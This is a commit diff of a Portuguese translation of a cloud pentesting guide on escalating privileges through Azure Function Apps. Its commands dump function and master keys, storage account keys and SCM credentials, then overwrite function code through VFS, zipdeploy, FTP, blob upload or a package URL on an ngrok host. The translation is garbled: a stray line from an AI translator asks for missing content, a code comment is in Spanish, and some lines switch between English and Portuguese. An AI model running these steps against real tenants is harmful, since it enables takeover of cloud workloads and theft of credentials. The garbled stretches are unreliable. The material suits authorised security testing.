Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala

This commit is contained in:
Translator
2026-06-16 13:16:36 +00:00
parent 73eabde5a0
commit 9f5cfe1af7
@@ -4,7 +4,7 @@
## Function Apps
Check the following page for more information:
Verifique a seguinte página para mais informações:
{{#ref}}
../az-services/az-function-apps.md
@@ -12,26 +12,26 @@ Check the following page for more information:
### Bucket Read/Write
Com permissões para ler os containers dentro do Storage Account que armazena os dados da função, é possível encontrar **diferentes containers** (customizados ou com nomes predefinidos) que podem conter **o código executado pela função**.
Com permissões para ler os containers dentro da Storage Account que armazena os dados da function, é possível encontrar **diferentes containers** (custom ou com nomes predefinidos) que podem conter **o código executado pela function**.
Uma vez que você encontrar onde o código da função está localizado, se você tiver permissões de escrita sobre ele, você pode fazer a função executar qualquer código e escalar privilégios para as managed identities anexadas à função.
Depois que você encontrar onde o código da function está localizado, se tiver permissões de escrita sobre ele, você pode fazer a function executar qualquer código e escalar privilégios para as managed identities anexadas à function.
- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE)`)
- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` e `WEBSITE_CONTENTSHARE)`
O código da função normalmente fica armazenado dentro de um file share. Com acesso suficiente é possível modificar o arquivo de código e **fazer a função carregar código arbitrário**, permitindo escalar privilégios para as managed identities anexadas à Function.
O código da function geralmente é armazenado dentro de um file share. Com acesso suficiente, é possível modificar o arquivo de código e **fazer a function carregar código arbitrário**, permitindo escalar privilégios para as managed identities anexadas à Function.
Esse método de implantação normalmente define as configurações **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** e **`WEBSITE_CONTENTSHARE`** que você pode obter de
Este método de deployment normalmente configura as settings **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** e **`WEBSITE_CONTENTSHARE`** que você pode obter de
```bash
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-group>
```
Essas configurações conterão a **Storage Account Key** que a Function pode usar para acessar o código.
Essas configs vão conter a **Storage Account Key** que a Function pode usar para acessar o código.
> [!CAUTION]
> Com permissão suficiente para conectar ao File Share e **modificar o script** em execução, é possível executar código arbitrário na Function e escalar privilégios.
> Com permissão suficiente para se conectar ao File Share e **modificar o script** em execução, é possível executar código arbitrário na Function e escalar privilégios.
O exemplo a seguir usa macOS para conectar ao file share, mas recomenda-se também consultar a página a seguir para mais informações sobre file shares:
O seguinte exemplo usa macOS para se conectar ao file share, mas é recomendável verificar também a seguinte página para mais informações sobre file shares:
{{#ref}}
../az-services/az-file-shares.md
@@ -47,26 +47,26 @@ open "smb://<STORAGE-ACCOUNT>.file.core.windows.net/<FILE-SHARE-NAME>"
```
- **`function-releases`** (`WEBSITE_RUN_FROM_PACKAGE`)
Também é comum encontrar os **arquivos zip** dentro da pasta `function-releases` do container da Storage Account que a function app está usando um container **geralmente chamado `function-releases`**.
Também é comum encontrar os **zip releases** dentro da pasta `function-releases` do container do Storage Account que a function app está usando em um container **geralmente chamado `function-releases`**.
Normalmente este método de implantação definirá a configuração `WEBSITE_RUN_FROM_PACKAGE` em:
Normalmente, esse método de deployment definirá a config `WEBSITE_RUN_FROM_PACKAGE` em:
```bash
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-group>
```
Esta config will usually contain a **SAS URL to download** the code from the Storage Account.
Esta configuração geralmente conterá uma **SAS URL para download** do código a partir da Storage Account.
> [!CAUTION]
> With enough permission to connect to the blob container that **contains the code in zip** it's possible to execute arbitrary code in the Function and escalate privileges.
> Com permissão suficiente para conectar ao blob container que **contém o código em zip**, é possível executar código arbitrário na Function e escalar privilégios.
- **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE`)
Just like in the previous case, if the deployment is done via Github Actions it's possible to find the folder **`github-actions-deploy`** in the Storage Account containing a zip of the code and a SAS URL to the zip in the setting `WEBSITE_RUN_FROM_PACKAGE`.
Assim como no caso anterior, se o deployment for feito via Github Actions, é possível encontrar a pasta **`github-actions-deploy`** na Storage Account contendo um zip do código e uma SAS URL para o zip na configuração `WEBSITE_RUN_FROM_PACKAGE`.
- **`scm-releases`**(`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` e `WEBSITE_CONTENTSHARE`)
- **`scm-releases`**(`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE`)
With permissions to read the containers inside the Storage Account that stores the function data it's possible to find the container **`scm-releases`**. In there it's possible to find the latest release in **Squashfs filesystem file format** and therefore it's possible to read the code of the function:
Com permissões para ler os containers dentro da Storage Account que armazena os dados da function, é possível encontrar o container **`scm-releases`**. Lá é possível encontrar a release mais recente em **Squashfs filesystem file format** e, portanto, é possível ler o código da function:
```bash
# List containers inside the storage account of the function app
az storage container list \
@@ -98,10 +98,10 @@ unsquashfs -l "/tmp/scm-latest-<app-name>.zip"
mkdir /tmp/fs
unsquashfs -d /tmp/fs /tmp/scm-latest-<app-name>.zip
```
Também é possível encontrar as **master and functions keys** armazenadas na storage account no container **`azure-webjobs-secrets`** dentro da pasta **`<app-name>`** nos arquivos JSON que você encontra lá dentro.
Também é possível encontrar as **master and functions keys** armazenadas na storage account no container **`azure-webjobs-secrets`** dentro da pasta **`<app-name>`** nos arquivos JSON que você pode encontrar lá dentro.
> [!CAUTION]
> Com permissão suficiente para conectar-se ao blob container que **contém o código em um arquivo de extensão zip** (que na verdade é um **`squashfs`**) é possível executar código arbitrário na Function e elevar privilégios.
> Com permissão suficiente para se conectar ao blob container que **contém o code em um arquivo com extensão zip** (que na verdade é um **`squashfs`**) é possível executar código arbitrário na Function e escalar privilégios.
```bash
# Modify code inside the script in /tmp/fs adding your code
@@ -118,11 +118,11 @@ az storage blob upload \
```
### `Microsoft.Web/sites/host/listkeys/action`
Esta permissão permite listar as function, master e system keys, mas não a host, da function especificada com:
Esta permissão permite listar as function, master e system keys, mas não a host key, da function especificada com:
```bash
az functionapp keys list --resource-group <res_group> --name <func-name>
```
Com a master key também é possível obter o código-fonte em uma URL como:
Com a master key, também é possível obter o source code em uma URL como:
```bash
# Get "script_href" from
az rest --method GET \
@@ -135,7 +135,7 @@ curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/func
# JavaScript function app example
curl "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot/HttpExample/index.js?code=tKln7u4DtLgmG55XEvMjN0Lv9a3rKZK4dLbOHmWgD2v1AzFu3w9y_A==" -v
```
E para **alterar o código que está sendo executado** na função para:
E para **alterar o código que está sendo executado** na função com:
```bash
# Set the code to set in the function in /tmp/function_app.py
## Python function app example
@@ -154,7 +154,7 @@ curl -X PUT "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot
```
### `Microsoft.Web/sites/functions/listKeys/action`
Esta permissão permite obter a chave padrão da função especificada com:
Essa permissão permite obter a chave padrão da função especificada com:
```bash
az rest --method POST --uri "https://management.azure.com/subscriptions/<subsription-id>/resourceGroups/<resource-group>/providers/Microsoft.Web/sites/<func-name>/functions/<func-endpoint-name>/listKeys?api-version=2022-03-01"
```
@@ -164,26 +164,26 @@ curl "https://<app-name>.azurewebsites.net/api/<func-endpoint-name>?code=<defaul
```
### `Microsoft.Web/sites/host/functionKeys/write`
Esta permissão permite criar/atualizar uma chave de função da função especificada com:
Esta permissão permite criar/atualizar uma function key da função especificada com:
```bash
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type functionKeys --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
```
### `Microsoft.Web/sites/host/masterKey/write`
Esta permissão permite criar/atualizar uma master key para a função especificada com:
Essa permissão permite criar/atualizar uma master key para a função especificada com:
```bash
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
```
> [!CAUTION]
> Lembre-se de que com esta chave você também pode acessar o código-fonte e modificá-lo, como explicado anteriormente!
> Lembre-se de que, com esta key, você também pode acessar o source code e modificá-lo como explicado antes!
### `Microsoft.Web/sites/host/systemKeys/write`
Esta permissão permite criar/atualizar uma chave de função do sistema para a função especificada com:
Esta permission permite criar/atualizar uma system function key para a função especificada com:
```bash
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
```
Você não incluiu a chave nem o conteúdo. Por favor cole a "key" e/ou o conteúdo do arquivo src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md para eu traduzir para português conforme as instruções.
Usa a chave:
```bash
# Ejemplo: Acceso a endpoints de Durable Functions
curl "https://<app-name>.azurewebsites.net/runtime/webhooks/durabletask/instances?code=<system-key>"
@@ -193,22 +193,22 @@ curl "https://<app-name>.azurewebsites.net/runtime/webhooks/eventgrid?code=<syst
```
### `Microsoft.Web/sites/config/list/action`
Essa permissão permite obter as configurações de uma function. Dentro dessas configurações pode ser possível encontrar os valores padrão **`AzureWebJobsStorage`** ou **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`**, que contêm uma **chave de conta para acessar o blob storage da function com permissões FULL**.
Esta permissão permite obter as configurações de uma function. Dentro dessas configurações, pode ser possível encontrar os valores padrão **`AzureWebJobsStorage`** ou **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`**, que contêm uma **account key para acessar o blob storage da function com permissões FULL**.
```bash
az functionapp config appsettings list --name <func-name> --resource-group <res-group>
```
Além disso, essa permissão também permite obter o **SCM username and password** (se ativado) com:
Além disso, essa permissão também permite obter o **SCM username and password** (se habilitado) com:
```bash
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/publishingcredentials/list?api-version=2018-11-01"
```
### `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/write`
Essas permissões permitem listar os valores de configuração de uma função como vimos antes, além de **modificar esses valores**. Isso é útil porque essas configurações indicam onde o código a ser executado dentro da função está localizado.
Essas permissões permitem listar os valores de config de uma function como vimos antes, além de **modificar esses valores**. Isso é útil porque essas settings indicam onde está localizado o code a ser executado dentro da function.
Portanto, é possível definir o valor da configuração **`WEBSITE_RUN_FROM_PACKAGE`** apontando para um arquivo zip em uma URL contendo o novo código a ser executado dentro de uma aplicação web:
Portanto, é possível definir o valor da setting **`WEBSITE_RUN_FROM_PACKAGE`** apontando para uma URL de arquivo zip contendo o novo code a ser executado dentro de uma web application:
- Comece obtendo a configuração atual
- Comece obtendo a config atual
```bash
az functionapp config appsettings list \
--name <app-name> \
@@ -224,9 +224,9 @@ python3 -m http.server
# Serve it using ngrok for example
ngrok http 8000
```
- Modifique a função, mantenha os parâmetros anteriores e adicione ao final a configuração **`WEBSITE_RUN_FROM_PACKAGE`** apontando para a URL com o **zip** que contém o código.
- Modifique a function, mantenha os parâmetros anteriores e adicione no final a config **`WEBSITE_RUN_FROM_PACKAGE`** apontando para a URL com o **zip** contendo o code.
O seguinte é um exemplo das minhas **próprias configurações (você precisará alterar os valores para os seus)**, observe ao final os valores `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"`, é aí que eu hospedava o app.
The following is an example of my **own settings you will need to change the values for yours**, note at the end the values `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"`, this is where I was hosting the app.
```bash
# Modify the function
az rest --method PUT \
@@ -236,7 +236,7 @@ az rest --method PUT \
```
### `Microsoft.Web/sites/hostruntime/vfs/write`
Com esta permissão é **possível modificar o código de uma aplicação** através do console web (ou através do seguinte endpoint de API):
Com esta permissão, é **possível modificar o código de uma aplicação** através do web console (ou através do seguinte endpoint da API):
```bash
# This is a python example, so we will be overwritting function_app.py
# Store in /tmp/body the raw python code to put in the function
@@ -266,7 +266,7 @@ body: responseMessage
```
### `Microsoft.Web/sites/publishxml/action`, (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write`)
Esta permissão permite listar todos os publishing profiles que basicamente contêm **basic auth credentials**:
Essa permissão permite listar todos os publishing profiles, que basicamente contêm **basic auth credentials**:
```bash
# Get creds
az functionapp deployment list-publishing-profiles \
@@ -274,15 +274,15 @@ az functionapp deployment list-publishing-profiles \
--resource-group <res-name> \
--output json
```
Outra opção seria configurar suas próprias creds e usá-las com:
Outra opção seria definir suas próprias creds e usá-las usando:
```bash
az functionapp deployment user set \
--user-name DeployUser123456 g \
--password 'P@ssw0rd123!'
```
- Se as credenciais estiverem **REDACTED**
- Se as credenciais **REDACTED**
Se você vir que essas credenciais estão **REDACTED**, é porque você **precisa habilitar a opção SCM basic authentication** e para isso você precisa da segunda permissão (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):`
Se você vir que essas credenciais estão **REDACTED**, é porque você **precisa habilitar a opção de autenticação básica do SCM** e, para isso, você precisa da segunda permissão (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):`
```bash
# Enable basic authentication for SCM
az rest --method PUT \
@@ -302,26 +302,47 @@ az rest --method PUT \
}
}
```
- **Método SCM**
- **Method SCM**
Em seguida, você pode acessar com essas **basic auth credentials to the SCM URL** do seu function app e obter os valores das env variables:
Então, você pode acessar com estas **basic auth credentials para a URL SCM** do seu function app e obter os valores das variáveis de ambiente:
```bash
# Get settings values
curl -u '<username>:<password>' \
https://<app-name>.scm.azurewebsites.net/api/settings -v
# Deploy code to the funciton
zip function_app.zip function_app.py # Your code in function_app.py
curl -u '<username>:<password>' -X POST --data-binary "@<zip_file_path>" \
https://<app-name>.scm.azurewebsites.net/api/zipdeploy
```
_Observe que o **SCM username** costuma ser o caractere "$" seguido pelo nome do app, então: `$<app-name>`._
Você pode baixar, modificar e enviar novo código da função :
```bash
# download
curl -u '<username>:<password>' -X GET \
https://<app-name>.scm.azurewebsites.net/api/zip/site/wwwroot/ \
-o current_function_code.zip
Você também pode acessar a página web em `https://<app-name>.scm.azurewebsites.net/BasicAuth`
unzip current_function_code.zip -d updated_code/
cd updated_code/
#... modify the function code
zip -r ../updated_function_app.zip .
cd ../
Os valores das configurações contêm o **AccountKey** da storage account que armazena os dados da function app, permitindo controlar essa storage account.
# upload
curl -u '<username>:<password>' https://<app-name>.scm.azurewebsites.net/api/zipdeploy -X POST --data-binary @updated_function_app.zip -v
```
Você pode até enviar um arquivo específico:
```bash
curl -u '<username>:<password>' \
-X PUT \
-H "Content-Type: application/javascript" \
-H "If-Match: *" \
--data-binary "@./my_local_payload.js" \
"https://<app-name>.scm.azurewebsites.net/api/vfs/site/wwwroot/hello-world/index.js" # example NodeJS file
```
_Note that the **SCM username** is usually the char "$" followed by the name of the app, so: `$<app-name>`._
- **Método FTP**
Você também pode acessar a página web de `https://<app-name>.scm.azurewebsites.net/BasicAuth`
Os valores de settings contêm a **AccountKey** da storage account que armazena os dados da function app, permitindo controlar essa storage account.
- **Method FTP**
Conecte-se ao servidor FTP usando:
```bash
@@ -337,19 +358,19 @@ ls # List
get ./function_app.py -o /tmp/ # Download function_app.py in /tmp
put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and deploy it
```
_Note que o **FTP username** geralmente está no formato \<app-name>\\$\<app-name>._
_Note that the **FTP username** is usually in the format \<app-name>\\$\<app-name>._
### `Microsoft.Web/sites/hostruntime/vfs/read`
Esta permissão permite **ler o código-fonte** do app através do VFS:
Essa permissão permite **ler o código-fonte** da aplicação através do VFS:
```bash
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
```
### `Microsoft.Web/sites/functions/token/action`
Com essa permissão é possível [get the **admin token**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) que pode ser usado posteriormente para recuperar a **master key** e, portanto, acessar e modificar o código da função.
Com esta permissão é possível [obter o **admin token**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01), que depois pode ser usado para recuperar a **master key** e, portanto, acessar e modificar o código da function.
No entanto, nas minhas últimas verificações nenhum token foi retornado, então pode estar desabilitado ou não estar mais funcionando, mas aqui está como você faria:
No entanto, nas minhas últimas verificações nenhum token foi retornado, então isso pode estar desativado ou não funcionar mais, mas aqui está como você faria isso:
```bash
# Get admin token
az rest --method GET \
@@ -361,7 +382,7 @@ curl "https://<app-name>.azurewebsites.net/admin/host/systemkeys/_master" \
```
### `Microsoft.Web/sites/config/write`, (`Microsoft.Web/sites/functions/properties/read`)
Esta permissão permite **ativar functions** que podem estar desativadas (ou desativá‑las).
Essa permissão permite **habilitar funções** que podem estar desabilitadas (ou desabilitá-las).
```bash
# Enable a disabled function
az functionapp config appsettings set \
@@ -369,13 +390,13 @@ az functionapp config appsettings set \
--resource-group <res-group> \
--settings "AzureWebJobs.http_trigger1.Disabled=false"
```
Também é possível ver se uma function está ativada ou desativada na seguinte URL (usando a permissão entre parênteses):
Também é possível ver se uma function está habilitada ou desabilitada na seguinte URL (usando a permission entre parênteses):
```bash
az rest --url "https://management.azure.com/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/<func-name>/properties/state?api-version=2024-04-01"
```
### `Microsoft.Web/sites/config/write`, `Microsoft.Web/sites/config/list/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/read`)
Com essas permissões é possível **modificar o container executado por um function app** configurado para executar um container. Isso permitiria que um atacante enviasse para o docker hub (por exemplo) um azure function container app malicioso e fizesse o function app executá-lo.
Com essas permissões, é possível **modificar o container executado por um function app** configurado para rodar um container. Isso permitiria a um atacante enviar um malicious azure function container app para o docker hub (por exemplo) e fazer a function executá-lo.
```bash
az functionapp config container set --name <app-name> \
--resource-group <res-group> \
@@ -383,29 +404,29 @@ az functionapp config container set --name <app-name> \
```
### `Microsoft.Web/sites/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/managedEnvironments/join/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/operationresults/read`)
Com essas permissões é possível **attach a new user managed identity to a function**. Se a function for comprometida, isso permitiria escalar privilégios para qualquer user managed identity.
Com essas permissões, é possível **anexar uma nova user managed identity a uma function**. Se a function tivesse sido comprometida, isso permitiria escalar privilégios para qualquer user managed identity.
```bash
az functionapp identity assign \
--name <app-name> \
--resource-group <res-group> \
--identities /subscriptions/<subs-id>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>
```
### Depuração Remota
### Remote Debugging
Também é possível conectar-se para depurar uma Azure Function em execução como [**explained in the docs**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). No entanto, por padrão o Azure desativará essa opção após 2 dias caso o desenvolvedor esqueça, para evitar deixar configurações vulneráveis.
Também é possível conectar-se para depurar uma Azure function em execução, como [**explicado na documentação**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). No entanto, por padrão, a Azure desativará essa opção em 2 days caso o desenvolvedor se esqueça, para evitar deixar configurações vulneráveis.
É possível verificar se uma Function tem depuração habilitada com:
É possível verificar se uma Function tem debugging habilitado com:
```bash
az functionapp show --name <app-name> --resource-group <res-group>
```
Tendo a permissão `Microsoft.Web/sites/config/write` também é possível colocar uma função em modo de depuração (o comando a seguir também requer as permissões `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/Read` e `Microsoft.Web/sites/Read`).
Tendo a permissão `Microsoft.Web/sites/config/write`, também é possível colocar uma function em modo de debugging (o seguinte comando também requer as permissões `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/Read` e `Microsoft.Web/sites/Read`).
```bash
az functionapp config set --remote-debugging-enabled=True --name <app-name> --resource-group <res-group>
```
### Alterar Github repo
### Change Github repo
Tentei alterar o Github repo de onde o deploy está ocorrendo executando os seguintes comandos, mas mesmo que tenha alterado, **o novo código não foi carregado** (provavelmente porque está esperando que o Github Action atualize o código).
Além disso, a **managed identity federated credential wasn't updated** para permitir o novo repository, então parece que isso não é muito útil.
Eu tentei alterar o repo do Github de onde o deployment está ocorrendo executando os seguintes comandos, mas mesmo que isso tenha mudado, **o novo code não foi carregado** (provavelmente porque ele está esperando que o Github Action atualize o code).\
Além disso, a **managed identity federated credential não foi atualizada** permitindo o novo repository, então parece que isso não é muito útil.
```bash
# Remove current
az functionapp deployment source delete \